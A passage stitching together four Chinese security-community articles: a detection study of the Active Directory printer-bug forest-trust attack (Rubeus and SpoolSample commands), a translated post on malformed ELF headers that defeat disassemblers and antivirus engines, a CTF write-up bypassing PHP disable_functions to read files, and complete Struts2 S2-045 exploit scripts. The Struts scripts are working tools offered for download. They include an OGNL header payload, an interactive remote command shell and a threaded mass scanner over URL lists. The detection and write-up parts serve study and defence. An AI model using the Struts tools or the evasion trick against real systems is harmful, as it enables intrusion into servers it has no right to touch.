微软在[官方文档](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc786873%28v%3dws.10%29)中将信任定义成域之间的一种关系，可以让某个域的用户通过另一个域域控的身份认证。Will也在“[A
Guide to Attacking Domain
Trusts](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)”这篇文章中介绍了关于域和森林信任的其他信息。
有两种信任类型：
**默认信任**
当新域添加到根域中时，默认情况下会创建[双向传递信任关系](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc775736%28v=ws.10%29#default-trusts)。
**其他信任**
在本文中，为了解释Will在文章定义的攻击方法，我们主要从防御方角度来分析域林双向信任关系。这一点非常重要，因为涉及两个森林的攻击活动可能会生成一些Windows安全事件，帮我们梳理蛛丝马迹。
### 打印机bug
Lee[认为](https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory/41)打印机bug是MS-RPRN（Windows Print System Remote
Protocol，Windows打印系统远程协议）中一个古老但又默认启用的方法，具备域用户账户权限的攻击者可以使用MS-RPRN的`RpcRemoteFindFirstPrinterChangeNotification(Ex)`方法来强迫运行`Spooler`服务的任何主机通过Kerberos或者NTLM向攻击者选择的目标发起身份认证请求。
### MS-RPRN打印系统远程协议
根据微软[文档](https://msdn.microsoft.com/en-us/library/cc244528.aspx)描述，这是基于RPC（Remote Procedure
Call）的一种协议，支持客户端和服务器之间的同步打印和联机操作，包括打印任务控制以及打印系统管理。此外，打印系统远程协议只使用了基于命名管道的RPC。因此，源和目标服务器会通过445端口建立网络连接。
### RpcRemoteFindFirstPrinterChangeNotification(Ex) 功能
该方法可以创建远程修改通知对象，用来监控对打印机对象的修改，向打印客户端发送修改通知。大家可以在[这篇文章](https://msdn.microsoft.com/en-us/library/cc244528.aspx)的“Notification of Print System Changes”例子中找到该方法的使用示例。
Lee在POC中只用到了前2个方法（`RpcOpenPrinter`以及`RpcRemoteFindFirstPrinterChangeNotificationEx`），并且当`Notification`方法返回非零的Windows错误代码后就停止执行。“打印机bug”只需要目标（打印机服务器）和客户端（无约束服务器）之间建立初始连接即可。当调用`RpcOpenPrinter`方法时，该方法需要返回`ERROR_SUCCESS`才能跳转到`Notification`方法，而后者会返回特定的非零错误值。Lee在POC中监控如下两个ERROR返回值，能为我们提供一些信息：
* `ERROR_ACCESS_DENIED`：“目标服务器尝试进行身份认证并且被拒绝访问。如果将身份认证强制切换到NTLM挑战-响应捕获工具（如responder/inveigh/MSF SMB捕捉工具等），这正是预期结果，表明强制身份认证已经成功”。
* `ERROR_INVALID_HANDLE`：“尝试执行打印机通知操作，收到无效句柄。表明强制身份认证很可能已经成功”。
希望以上内容能帮大家在尝试攻击前理解一些背景知识，也能帮我们了解潜在的数据来源，检测Will所演示的这种新型攻击技术。
## 四、模拟攻击场景
### 环境需求
需要设置双向认证的两个域林。
被入侵的域林：
* 配置了无约束委派的、已被攻击者控制的一台服务器（`hydrogen.covertius.local`）。在演示案例中，攻击者入侵了根域的域控制器（DC），利用该DC攻击另一个域林中的另一个DC。
目标域林：
* 我们的目标是域控制器（`rikers.cyberpartners.local`），因为我们需要该DC的TGT，然后利用配置了无约束委派的DC发起DCSync攻击。
工具：
* 在配置无约束委派服务器上使用[Rubeus](https://github.com/GhostPack/Rubeus)以及[SpoolSample](https://github.com/leechristensen/SpoolSample)。
日志：
* 启用Windows安全（Security）事件日志，记录每个事件日志类别及子类别，我不想将事件局限于特定事件类别或者子类。在分析攻击活动所生成的数据后，我会给出需要启用哪些选项的一个概述。
### 攻击流程
Will在文章中介绍了整体攻击流程图。我非常喜欢这张图，因为其中每个步骤都有详细的说明。
### 在配置无约束委派服务器上的操作
在高权限的命令提示符（`cmd.exe`）中运行如下命令，请替换实际所使用的服务器名称：
Rubeus.exe monitor /interval:5 /filteruser:VICTIM-DC-NAME$
在另一个命令提示符中（不需要高权限）执行如下命令：
SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
如果第1个Rubeus窗口中没有输出任何内容，我们可能需要再次执行第2个步骤。在测试时我没有看到任何输出，所以我运行了SpoolSample两次。
Rubeus应该能捕捉到来自目标DC的认证请求，导出其TGT数据。
### 数据源
### 相关安全事件
攻击者使用`hydrogen.covertius.local`中的`localadmin`账户来运行`Rubeus`，开始监控来自于`rikers$`账户的4624登录事件。
攻击者使用`hydrogen.covertius.local`中的`localadmin`账户来运行`SpoolSample`
POC，设置目标服务器为`rikers.cyberpartners.local`，凭据捕捉服务器为`hydrogen.covertius.local`。换句话说，`hydrogen`会强迫`rikers`向其发起身份认证请求。
`hydrogen.covertius.local`中的`localadmin`账户会使用`CYBERPARTNERS.LOCAL`
SPN来请求Kerberos服务票据，以便连接到其他域林。由于`SpoolSample`没有使用服务器的IP地址，而是使用了服务器的DNS名称，因此会发生Kerberos认证过程。
`Hydrogen.covertius.local`通过ldap协议查询`rikers.cyberpartners.local`的DC。
`Hydrogen.covertius.local`通过88端口（Kerberos）与`rikers.cyberpartners.local`建立通信连接，以便请求访问`rikers.cyberpartners.local`的服务票据。
`Rikers.cyberpartners.local`收到来自`hydrogen.covertius.local`的Kerberos服务票据请求，SPN为`rikers$`。
`localadmin`账户请求Kerberos服务票据，SPN为`krbtgt`，票据选项为`0x60810010`。
`Hydrogen.covertius.local`开始使用MS-RPRN `RpcOpenPrinter`方法，通过SMB
445端口（出站）与`rikers.cyberpartners.local`通信，以便从“打印机服务器”（即`rikers`）处获取打印机句柄。
`Rikers.cyberpartners.local`收到来自`hydrogen.covertius.local`的账户认证成功事件，账户为`localadmin`。
`localadmin`使用`covertius`域名访问`rikers.cyberpartners.local`的`IPC$`共享命名管道，以便绑定到`spoolss`服务。
`rikers.cyberpartners.local`使用`COVERTIUS.LOCAL`
SPN请求Kerberos服务票据，以便连回攻击者已控制的域林，以及向配置了无约束委派的服务器（`hydrogen.covertius.local`）发起身份认证。之所以会发生Kerberos认证，是因为`SpoolSample`使用的是服务器的DNS名称，而非IP地址。
`Rikers.cyberpartners.local`查询`hydrogen.covertius.local`的DC。
`Rikers.cyberpartners.local`通过88端口（Kerberos）与`hydrogen.covertius.local`
DC建立连接。
`Hydrogen.covertius.local`收到来自`rikers$`的Kerberos服务票据请求，SPN为`hydrogen$`。
在打印机bug的驱使下，`rikers.cyberpartners.local`通过445端口回连`hydrogen.covertius.local`。
当`riker$`向`hydrogen.covertius.local`发起身份认证请求时就会出现SID过滤，这是因为`riker$`是其他域DC，默认情况下是企业域控制器组的一部分（企业域控制器SID为`S-1-5-9`）。大家可以阅读微软[官方文档](https://msdn.microsoft.com/en-us/library/cc237940.aspx)了解更多信息。
`localadmin`账户请求Kerberos服务票据，SPN为`krbtgt`，票据选项为`0x60810010`。由于委派的存在，我们可以看到`localadmin`貌似来自于`10.7.30.100`这个地址（`rikers`服务器）。
`hydrogen.covertius.local`收到来自`rikers.cyberpartners.local`的身份认证成功事件，账户名为`rikers$`。这证实了`rikers$`已被强制向配置了无约束委派的服务器发起身份认证请求。
由于委派的存在，`localadmin`也会成功登录到`hydrogen` DC，但源IP地址为`rikers`的IP地址。
赋予新的登录各种权限：
`rikers.cyberpartners.local`访问`hydrogen.covertius.local`共享命名管道`IPC$`，以便绑定到客户端的`spoolss`服务。需要指出的是，访问`IPC$`的是来自于`COVERTIUS`的`localadmin`账户，而非`rikers$`。
一旦`Rubeus`捕捉到从`rikers$`到`Hydrogen`的4624登录事件，就会提取`rikers$`的TGT。该工具首先连接至LSA服务器，验证调用方的确是logon应用。如果第一个步骤失败，则可能表明运行`rubeus`的用户不具备足够的权限来获取LSA的句柄。如下所示：
一旦操作失败，`Rubeus`会使用自己的`GetSystem`函数，通过令牌模拟方法将本地管理员账户提升到SYSTEM权限。然后再次尝试，这次该工具可以获取LSA的句柄，枚举Kerberos票据。
作为LSA句柄的一部分，`Rubeus`会将[logon应用名](https://github.com/GhostPack/Rubeus/blob/1a24e0c5c0dffa85e3ecb6872ad50f3ac7b6241a/Rubeus/lib/LSA.cs#L17)注册为`User32LogonProcesss`（末尾带有3个“SSS”）。微软文档中在介绍`LsaRegisterLogonProcess`函数的`LogonProcessName`参数时所使用的标准名称为`User32LogonProcess`。
到目前为止不会再生成其他事件。后面攻击者可以使用已提取的TGT来执行其他操作。本文的主要目的是记录下Will提出的攻击过程中会生成哪些安全事件。
## 五、初步检测方法
### Rubeus
1、在POC攻击场景中，攻击者运行的是磁盘上的Rubeus工具，因此我们可以根据命令行参数来构建基本的检测特征。需要注意的是，命令行参数值是攻击者可以操控的一个参数，这意味着攻击者可以修改命令参数，轻松绕过基于原始参数特诊的检测方法。
2、在记录相关事件日志时，我们发现Rubeus在枚举Kerberos票据时存在较为明显的特征。在获取LSA的句柄时，这个过程涉及到logon进程应用的名称。Rubeus会注册如下名称：`User32LogonProcesss`（末尾为3个“S”）。这个信息会出现在4611安全事件中。此外，即便拼写正确，`User32LogonProcess`也不是常见的logon应用名（如`Winlogon`），因此我们可以监控此类特征。
3、检测Rubeus的另一种方法就是关注其更为常见的行为特征。当Rubeus尝试获取LSA的句柄时，如果所使用的账户不具备`SeTcbPrivilege`权限集，那么该工具在调用`LsaRegisterLogonProcess`特权服务时就会失败。我们可以检查
**审核失败** 事件以及4673安全事件中非系统用户对特权服务的调用操作。
### 无约束委派及双向认证域林
这种攻击方法会迫使域控制器通过双向域林信任向配置了无约束委派的、被攻击者入侵的服务器发起身份认证请求。因此，正如我们在前文看到的那样，无约束服务器上能看到SID过滤事件（4675安全事件），过滤匹配企业域控制器（S-1-5-9）的SID。我们可以执行如下检测步骤：
1、获取配置了无约束委派选项的服务器，提取每个服务器上的4675安全事件；
2、使用SID S-1-5-9过滤所得结果。我们可以提取到来自其他域林的DC的交互过程（可能是潜在受害者或者是正常行为）；
3、我们也可以通过Tdo（trusted domain
object）域SID来提取信息。通过这个信息我们可以知道通过双向信任进行交互的可信域SID，其中可能有已被攻击者控制的潜在无约束服务器。
我们还可以在配置了无约束委派的服务器上监控来自其他域林的域控制器`DCNAME$`的成功的网络登录（类型3）事件。
### SpoolSample
检测SpoolSample工具非常简单。我们可以监控5145安全事件，监控配置了无约束委派的服务器对`IPC$`共享命名管道的访问行为，这些服务器需要借助这种方式，通过其他域的域控绑定到`spoolss`服务。需要注意的是，除了`SpoolSample`
POC之外，还有其他RPC服务器可以用于强制认证。因此，这种检测方法只能覆盖本文提到的这种攻击。
## 六、总结
如果大家阅读了Will小伙伴的那篇[文章](http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts)，我希望本文能帮助大家进一步理解相关内容，也能帮助大家进一步了解这个攻击过程中会生成的大多数数据。本文只介绍了端点处的数据源信息，我会尽快更新本文内容，加入来自端点和网络的更多数据源。此外，我也会在其他文章中介绍攻击者对DC
TGT的利用方式。
前面我们提到过，这类攻击技术并不会凭空出现。因此，由于实际环境中生成的类似事件有限，我们可能无法仅通过监控特定事件来捕捉这些攻击行为。然而，如果攻击者创建新的进程，将票据导入新登录的会话、或者执行DCSync攻击或者其他攻击时，我们就可以捕捉到这类攻击行为。
感谢Will耐心解答我在撰写本文时提到的各种问题，我会很快更新检测方法及新的攻击方式。
欢迎大家提出建议及意见。
## 七、参考资料
<https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/>
<https://msdn.microsoft.com/en-us/library/cc246071.aspx>
<https://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/>
[https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc775736(v=ws.10)#trust-types-1](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc775736%28v=ws.10%29#trust-types-1)
<https://www.youtube.com/watch?v=-bcWZQCLk_4>
<https://www.slideshare.net/harmj0y/the-unintended-risks-of-trusting-active-directory>
<https://msdn.microsoft.com/en-us/library/cc237940.aspx>
[https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc755321(v=ws.10)](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc755321%28v=ws.10%29)
<https://blogs.technet.microsoft.com/networking/2009/04/28/rpc-to-go-v-3-named-pipes/>
<https://support.microsoft.com/en-us/help/243330/well-known-security-identifiers-in-windows-operating-systems>
<https://docs.microsoft.com/en-us/windows/desktop/printdocs/findfirstprinterchangenotification>
[https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759073(v=ws.10)#forests-as-security-boundaries](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759073%28v=ws.10%29#forests-as-security-boundaries)
[https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc755427(v=ws.10)](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc755427%28v=ws.10%29)
[https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn745899(v=ws.11)](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn745899%28v=ws.11%29)
<https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/create-global-objects>
<https://msdn.microsoft.com/en-us/library/cc220234.aspx>
<https://adsecurity.org/?p=1667> | 社区文章 |
# 干货：攻防Linux新技术
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.sentinelone.com/blog/breaking-and-evading/>
译文仅供参考，具体内容表达以及含义原文为准。
任何恶意软件研究的重点一般都是预期攻击可能针对的地方或它已经在攻击的地方,从而制定和实施新的防御技术。通过逆向工程了一些最近的Linux恶意软件样本,我发现了一个有趣的新技术,我认为它很重要所以想和大家一起分享。一个攻击者已经登录到一个蜜罐并尝试下载我以前从未见过的文件。加载文件到
[IDA Pro](https://www.hex-rays.com/products/ida/) ,得到提示“SHT table size or
offset is invalid. Continue? ” 这是对于可执行文件正常的,所以没什么好担心的。然而,收到此消息之后,我收到一个没见过的新警告;
这引起了Linux的可执行文件ELF在IDA Pro中装载失败——阻止我加载二进制文件进行分析。使用
[ELFTemplate](https://github.com/strazzere/010Editor-stuff/blob/master/Templates/ELFTemplate.bt)从
[010Editor](http://www.sweetscape.com/010editor/)中打开该文件之后,我们很容易看到发生了什么事情;
其中一个程序的头文件指向实际的文件之外。这很容易解决,只需归零这一部分从而允许IDA
Pro加载样例。有趣的是,事实证明这是一个无效的二进制文件,有部分错位了因为该文件被截短过。然而,此错误信息引导我下载路径并试图重建这个错误文件——这很简单。具体步骤使用十六进制编辑器比较容易实现;
* 从ELF文件头部脱去所有部分
* 找到一个ELF文件不允许加载的程序头
* 使这个程序头这部分发生偏移指向文件之外
只要找不到其余的部分文件头,IDA Pro就将无法加载。把个过程编成脚本之后,我决定使用其他反汇编器和调试器测试几个方案。
Radare(R2),Hopper和lldb处理的二进制文件完全没有问题—— 但是GDB不认文件格式;
然后进一步分析,我想看看除了作为一种反汇编技术,如果也作为一种抗分析抗模糊技术能不能用。当时的想法是,如果我用几个反汇编程序就这么容易找到这个问题所在,那么可能一些防病毒应用程序可能在自己的解析引擎中有同样的问题。
在这里我从Linux / XorDDos家族抓了检测到的相对完善恶意软件样本;
[https://www.virustotal.com/en/file/0a9e6adcd53be776568f46c3f98e27b6869f63f9c356468f0d19f46be151c01a/analysis/](https://www.virustotal.com/en/file/0a9e6adcd53be776568f46c3f98e27b6869f63f9c356468f0d19f46be151c01a/analysis/)
他们刚刚发现,9种不同的引擎(2种出自同一家公司?所以我应该说是10种)没能够检测到同样的恶意软件。这我很感兴趣因为我在Linux恶意软件方面是新人,我会假设,这些引擎很容易地检测到恶意软件,这样一个简单的改变不会是如此简单的逃逸技术。
看起来攻击反汇编程序和引擎监制太容易了—— 所以我想看看整个样例库,看看是否有人偶然发现并实施这项技术。使用如下相当简单的
[YARA](https://plusvic.github.io/yara/)规则,我能找到6000个使用这一方法的样例。幸运的是,这些样例中,几乎每一个都是用来保护它自己的代码的商用Android保护壳。
虽然我们还没有看到任何在外面使用这种技术的恶意行为,但是在外面可能有许多其他类似的招数。这是一个良好的开端,寻找看看可能被恶意隐藏的ELF文件并加以分析,最后最好是用脚本发布出来,人们就能够监测这种技术并在未来使用类似的技术。
在之前发布的文章中,我已经通知没能检测到略作修改的恶意软件的Hex-Rays和那10个引擎。生成和修复这些修改后的二进制文件的脚本代码可以在github找到。
YARA规则: | 社区文章 |
免责申明：
文章中的工具等仅供个人测试研究，请在下载后24小时内删除，不得用于商业或非法用途，否则后果自负
Apache Struts
2被曝存在远程命令执行漏洞，漏洞编号S2-045，CVE编号CVE-2017-5638，在使用基于Jakarta插件的文件上传功能时，有可能存在远程命令执行，导致系统被黑客入侵，漏洞评级为：高危。
漏洞详情：恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞进而执行系统命令。
风险等级：高风险。
漏洞风险：黑客通过利用漏洞可以实现远程命令执行。
影响版本：Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10。
安全版本：Struts 2.3.32或2.5.10.1。
修复建议：如您正在使用Jakarta文件上传插件，请升级Struts至安全版本。
更多参考：<https://cwiki.apache.org/confluence/display/WW/S2-045>
### POC
#! -*- encoding:utf-8 -*- import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc(url):
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(url,datagen,headers=header)
response = urllib2.urlopen(request)
body=response.read()
return body
url=sys.argv[1]
body=poc(url)
if "nMask" in body:
print "[Loopholes exist]",url
### Poc_Cmd
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc(url,content="echo nMask"):
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+content+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
request = urllib2.Request(url,datagen,headers=header)
response = urllib2.urlopen(request)
body=response.read()
return body
url=sys.argv[1]
body=poc(url)
if "nMask" in body:
print "[Loopholes exist]",url
while 1:
con=raw_input("[cmd]>>")
print poc(url,content=con)
运行结果：
>python s2_045_cmd.py http://xxx.com/?a.action
[Loopholes exist] http://xxx.com/?a.action
[cmd]>>ls
example1
example2
### 多线程批量检测
import urllib2
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import threading
def poc(url):
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo nMask').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
try:
request = urllib2.Request(url,datagen,headers=header)
response = urllib2.urlopen(request,timeout=5)
body=response.read()
except:
body=""
if "nMask" in body:
print "[Loopholes exist]",url
f.write(url+"\n")
else:
print "Loopholes not exist",url
if __name__=="__main__":
'''
url.txt为待检测url列表
result.txt为检测完输出结果文件
'''
f=open("result.txt","a")
url_list=[i.replace("\n","") for i in open("url.txt","r").readlines()]
for url in url_list:
threading.Thread(target=poc,args=(url,)).start()
while 1:
if(len(threading.enumerate())<50):
break
POC下载地址：<https://github.com/tengzhangchao/Struts2_045-Poc> | 社区文章 |
# 从InCTF2019的一道题学习disable_function_bypass
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前段时间做了一道InCTF2019的几道Web题，觉得里面涉及的PHP disable function
bypass和字符串拼接特性挺有意思的，所以自己搭建了环境复现了下，并且在这里记录一下。
## PHP+1
打开题目直接得到源码：
<?php
// PHP+1
$input = $_GET['input'];
function check(){
global $input;
foreach (get_defined_functions()['internal'] as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $input)) {
echo "Your input is blacklisted" . "<br>";
return true;
break;
}
}
$blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
unset($blacklist);
return false;
}
$thisfille=$_GET['thisfile'];
if(is_file($thisfille)){
echo "You can't use inner file" . "<br>";
}
else{
if(file_exists($thisfille)){
if(check()){
echo "Naaah" . "<br>";
}else{
eval($input);
}
}else{
echo "File doesn't exist" . "<br>";
}
}
function iterate($ass){
foreach($ass as $hole){
echo "AssHole";
}
}
highlight_file(__FILE__);
?>
ps： 修正符`m`表示 将字符串视为多行,不管是那行都能匹配;
先分析下代码主要的执行流程：
（1）接受两个get请求参数，一个`input`，另一个`thisfile`，分别赋值给`$input`和`$thisfille`（注意拼写，两个l）；
（2）第一层：传入的`$thisfille`需要同时满足`is_file($thisfille)`为`false`，`file_exists($thisfile)`为`true`；
（3）第二层：如果`file_exists($thisfile)`为`true`，则进行`check()`函数检查；
（4）`check()`函数中过滤了很多函数。
##### 第一层 is_file和file_exists绕过
`is_file`函数用来判断文件是否存在并且检查指定的文件名是否是正常的文件；
`file_exists`函数判断文件是否存在或者是目录是否存在;
`is_dir`函数判断目录是否存在。
也就是说，所以可以用一个目录路径来绕过`is_file`的检查，对任意目录，`is_file`会返回false，而`file_exists`会返回true。
##### 第二层 check函数绕过
在`check`函数中能看到一个看起来比较有趣的函数`get_defined_functions`，搜一下它的用法
<?php
function foo(){
echo "This is my function foo.";
}
$arr = get_defined_functions();
var_dump($arr);
?>
输出的结果包含所有的php自带的built-in函数和用户自定义函数：
array (size=2)
'internal' =>
array (size=1460)
0 => string 'zend_version' (length=12)
1 => string 'func_num_args' (length=13)
2 => string 'func_get_arg' (length=12)
3 => string 'func_get_args' (length=13)
4 => string 'strlen' (length=6)
5 => string 'strcmp' (length=6)
...... more elements
1456 => string 'xdebug_code_coverage_started' (length=28)
1457 => string 'xdebug_get_function_count' (length=25)
1458 => string 'xdebug_dump_superglobals' (length=25)
1459 => string 'xdebug_get_headers' (length=18)
'user' =>
array (size=1)
0 => string 'foo' (length=3)
返回结果包括两个数组，内置（internal）和用户自定义的函数。可以通过`$arr['internal']`来访问系统内置的函数，通过`$arr['user']`来访问用户自定义的函数。
在这里`eval`函数并不属于php的内置函数，所以可以绕过上面代码中第7至11行的检查。
在第14行过滤的`eval`，`die`和`exit`都不属于函数，它们都属于 **语言构造器（ language construct ）** 。
这里稍微介绍一下`language
construct`。从本质上讲，function是一段代码，它的编写方式可以在脚本执行过程中多次使用和重复使用。它可能被设计成接受参数和返回值，也可能两者都不接受，函数可以由用户定义。language
construct本身是PHP语言的一部分，也就是说，它们不能由用户定义，也不能通过扩展加入到PHP语言中，PHP解析器不能进一步分解它们，而函数在被解析之前必须进一步分解，会被分解为language
construct。
language
construct通常会比对应的function更快。而且我们可以通过设置在PHP配置文件，如`php.ini`中通过`disable_functions`禁用一些函数，但是无法禁用language
construct。而且language construct不能作为回调函数被调用。
这是来自 <https://www.php.net/manual/zh/function.eval.php> 对`eval`的解释：
`die`和`exit`一样，都是一个语言构造器，所以它们并不在函数`get_defined_functions`中返回的数组中。
而且在PHP中，`_()`也是一个函数，`_()`是`gettext`函数的别名。
所以`_`也会被`$blacklist`过滤掉。
回到正题，虽然`$blacklist`过滤掉了很多php内置函数，但是`eval`函数依然是可以使用的，所以可以通过`eval`来执行命令：
?input=eval("highlight".$thisfille[8]."fil"."e('/etc/passwd');");&thisfile=/lib/x86_64-linux-gnu
所以可以用`eval("sy"."stem('ls')")`来查看当前目录下的文件，但是并没有执行成功，因为`system`函数被禁用了。看一下有多少函数是`disable_functions`：
?input=eval("php"."info();");&thisfile=/var
看一下`disable_functions`这一栏，有很多函数不能用：
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,system,shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,error_log,mail,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,chdir
因为不知道flag到底在哪里，文件名是什么，所以肯定想看一下目录，一般flag文件会放在当前目录，根目录下或者是上一级目录里。常用的列目录的命令有：
system('ls');
scandir('/');
但是目前这些方法都被禁止了。所以我们要找到其他的相同功能的函数，一般这种题目考察的就是这些相对冷门的函数。
`glob`函数没有在上面的`disable_functions`之中，这个函数和`scandir`一样，可以用来查找文件，举个例子：
<?php
// 取得所有后缀为.txt的文件
$files = glob('*.txt');
print_r($files);
?>
上面会输出当前目录下的所有以`.txt`为后缀的文件：
Array (
[0] => Readme.txt
[1] => source.txt
[2] => test.txt
)
所以用`print_r(glob("*"))`就可以列出当前目录下的所有文件：
?input=eval('print'.$thisfille[8].'r(glo'.'b("*"));');&thisfile=/lib/x86_64-linux-gnu
得到的结果是：
Array (
[0] => 1.html
[1] => 5.html
[2] => index.html
[3] => index.php
[4] => save2json.html
[5] => version_2.html
)
再看看根目录：
Array (
[0] => /bin
[1] => /boot
[2] => /daily_lock
[3] => /dev
[4] => /etc
[5] => /flag
[6] => /home
[7] => /initrd.img
[8] => /initrd.img.old
[9] => /lib
[10] => /lib64
[11] => /lost+found
[12] => /media
[13] => /mnt
[14] => /opt
[15] => /proc
[16] => /readFlag
[17] => /root
[18] => /run
[19] => /sbin
[20] => /srv
[21] => /sys
[22] => /tmp
[23] => /usr
[24] => /var
[25] => /vmlinuz
[26] => /vmlinuz.old
)
flag应该就在`/flag`文件或是`/readFlag`文件中。所以接下来就要读这两个文件。
一般读取文件有两种方式。一种是通过系统命令执行linux的读文件命令，另一种是直接调用php的文件读取函数。常见的文件读取函数有：
file_get_contents
readfile
fread
fopen
highlight_file
show_source
前面的四个都被禁掉了，但是最后的`highlight_file`和`show_source`都没有被禁掉，所以还可以用这两个函数来读取文件内容
// show_source("/flag");
?input=eval('show'.$thisfille[8].'source("/flag");');&thisfile=/lib/x86_64-linux-gnu
// highlight_file("/readFlag");
?input=eval('highlight'.$thisfille[8].'fil'.'e("/readFlag");');&thisfile=/lib/x86_64-linux-gnu
发现什么输出都没有，猜测可能是普通用户根本就没有read的权限。如果不能读的话，猜测这可能是一个可执行文件，所以需要命令执行函数来执行该文件，该文件会输出flag内容。但是这里有两个flag，显然其中一个是用来迷惑我们的，但是目前还没有办法判断哪个是真的flag。
php中比较常见的命令执行函数有：
exec — 执行一个外部程序
passthru — 执行外部程序并且显示原始输出
proc_open — 执行一个命令，并且打开用来输入/输出的文件指针
pcntl_exec - 在当前进程空间执行指定程序
shell_exec — 通过 shell 环境执行命令，并且将完整的输出以字符串的方式返回。
system — 执行外部程序，并且显示输出
popen - 打开一个指向进程的管道，该进程由派生给定的 command 命令执行而产生
ob_start - 打开输出控制缓冲
mail - 发送邮件
